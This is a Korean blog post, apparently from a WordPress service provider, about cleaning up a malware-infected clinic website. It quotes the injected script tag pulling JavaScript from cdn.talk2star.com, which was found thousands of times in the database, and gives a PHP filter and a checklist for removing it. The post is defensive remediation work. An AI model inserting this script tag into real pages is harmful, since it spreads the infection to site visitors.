어떤 분의 소개로 멀웨어에 감염된 한의원 사이트의 복구와 업데이트 작업을 맡게 되었습니다. 사이트에는 Blo라는 유료 워드프레스 테마와 엘리멘터, 엘리멘터 프로 등의 플러그인이 설치되어 있었습니다. 사이트가 악성코드에 감염되어서 그런지 전반적으로 잘 작동하지 않고 에러가 발생하는 부분이 있었습니다. 테스트 사이트에 사이트를 복구하여 멀웨어 치료 및 업데이트 작업을 진행했습니다.
멀웨어에 감염된 워드프레스 사이트 복구 및 업데이트 작업
클라우드웨이즈에 테스트 서버를 만들어서 사이트를 복원하고 모든 파일을 업데이트하여 에러가 발생하는지 살펴보았습니다.
헤더 부분과 푸터 부분이 원래 사이트와 다르게 복원되어서 테마 판매자에게 연락하여 지원을 요청했습니다. 혹시나 싶어 테마의 header.php 파일과 footer.php 파일을 살펴보니 부모 테마 내에서 직접 이러한 파일들을 수정한 것을 발견했습니다.
자식 테마를 사용하지 않고 부모 테마 폴더에서 직접 파일들을 수정하게 되면 추후 테마를 업데이트하면 수정 사항이 모두 사라지게 됩니다.
헤더 파일과 푸터 파일을 기존 파일로 교체하니 사이트가 정상화되었습니다.
차일드 테마를 만들어서 헤더 파일과 푸터 파일을 넣어보니 사이트 레이아웃이 틀어지는 부분이 발생했습니다. 제대로 하려면 헤더/푸터 파일에 추가한 코드를 분석하여 적절히 수정하는 작업이 필요한 것 같습니다.
그리고 header.php 파일에 SEO 시맨틱 마크업 태그가 추가되어 있는 것을 발견했습니다. 이렇게 header.php 파일에 SEO 메타태그를 추가하면 사이트의 모든 페이지와 글에 동일한 SEO 메타태그가 추가되어 SEO 문제가 발생합니다.
Yoast SEO나 Rank Math와 같은 SEO 플러그인을 사용하여 각 페이지마다 상세하게 SEO 설정을 할 수 있습니다.
header.php 파일과 footer.php 파일을 교체하니 틀어졌던 레이아웃이 제대로 표시되었습니다. 하지만 멀웨어 감염으로 인해 리디렉션이 발생하는 경우 악성코드에 감염된 파일을 모두 제거하고 치료하더라도 DB에 스크립트가 추가되어 발생할 수도 있습니다.
디비를 체크해보니 <script src="https://cdn.talk2star.com/jquery.min.js"></script>가 무수하게 추가되어 있었습니다.
디비 파일을 통해 검색해보니 2,489개나 되는 항목이 있네요.😥
이 스크립트 URL을 검색해보면 이 스크립트 때문에 사이트가 느려진다는 내용의 글이 있네요.
국내에서 주로 이 문제를 호소하는 것으로 보아서 우리나라 업체에 의해 배포된 악성코드가 삽입된 것이 아닌가 추정이 됩니다.
어떤 분은 일일이 페이지를 열어서 문제의 스크립트를 제거했다고 하는데요. 저는 디비에서 일괄적으로 삭제했습니다.😄 위의 코스모스팜 포럼 글에 제시된 코드를 넣어서 테스트해보아도 될 것 같습니다.
function remove_unwanted_script() {
ob_start(function($buffer) {
// talk2star 스크립트를 더 유연하게 제거 (공백 등을 고려)
$buffer = preg_replace('#<script\s+src="https://cdn\.talk2star\.com/jquery\.min\.js"\s*>\s*</script>#i', '', $buffer);
return $buffer;
});
}
add_action('template_redirect', 'remove_unwanted_script');
테마 함수 파일에 코드를 넣으면 페이지가 실행될 때마다 코드가 호출되므로, 가능한 경우 DB에서 직접 제거하는 것이 바람직한 것 같습니다.
워드프레스 사이트가 멀웨어에 감염되는 경우
사이트가 멀웨어에 감염되는 경우 다음과 같은 방법으로 해결을 시도할 수 있습니다.
- 먼저 FTP에 접속하여 눈에 띄는 이상한 파일이 있으면 삭제합니다.
- 플러그인 폴더에 비정상적인 플러그인이 있다면 삭제합니다.
- 관리자 페이지에 접속하여 이상한 사용자가 있으면 삭제합니다.
- 워드프레스 코어, 플러그인, 테마를 모두 최신 버전으로 교체합니다.
- 워드프레스 관리자 비밀번호를 변경합니다.
- Wordfence 플러그인을 설치하여 남아 있는 악성코드를 제거합니다.
- 디비에서 악성코드가 주입되지 않았는지 확인하여 제거합니다.
정기적으로 백업하고, 항상 최신 버전으로 업데이트하고, 보안 플러그인을 설치하면 도움이 됩니다. 악성코드를 확실히 제거하지 않으면 다시 악성코드에 감염될 수 있습니다.
사이트 해킹이나 악성코드 감염을 비롯하여 워드프레스 또는 웹호스팅 관련 문제로 어려움을 겪는 경우 여기에서 서비스(유료)를 의뢰하실 수 있습니다.
참고
https://avada.tistory.com/2897
https://avada.tistory.com/3448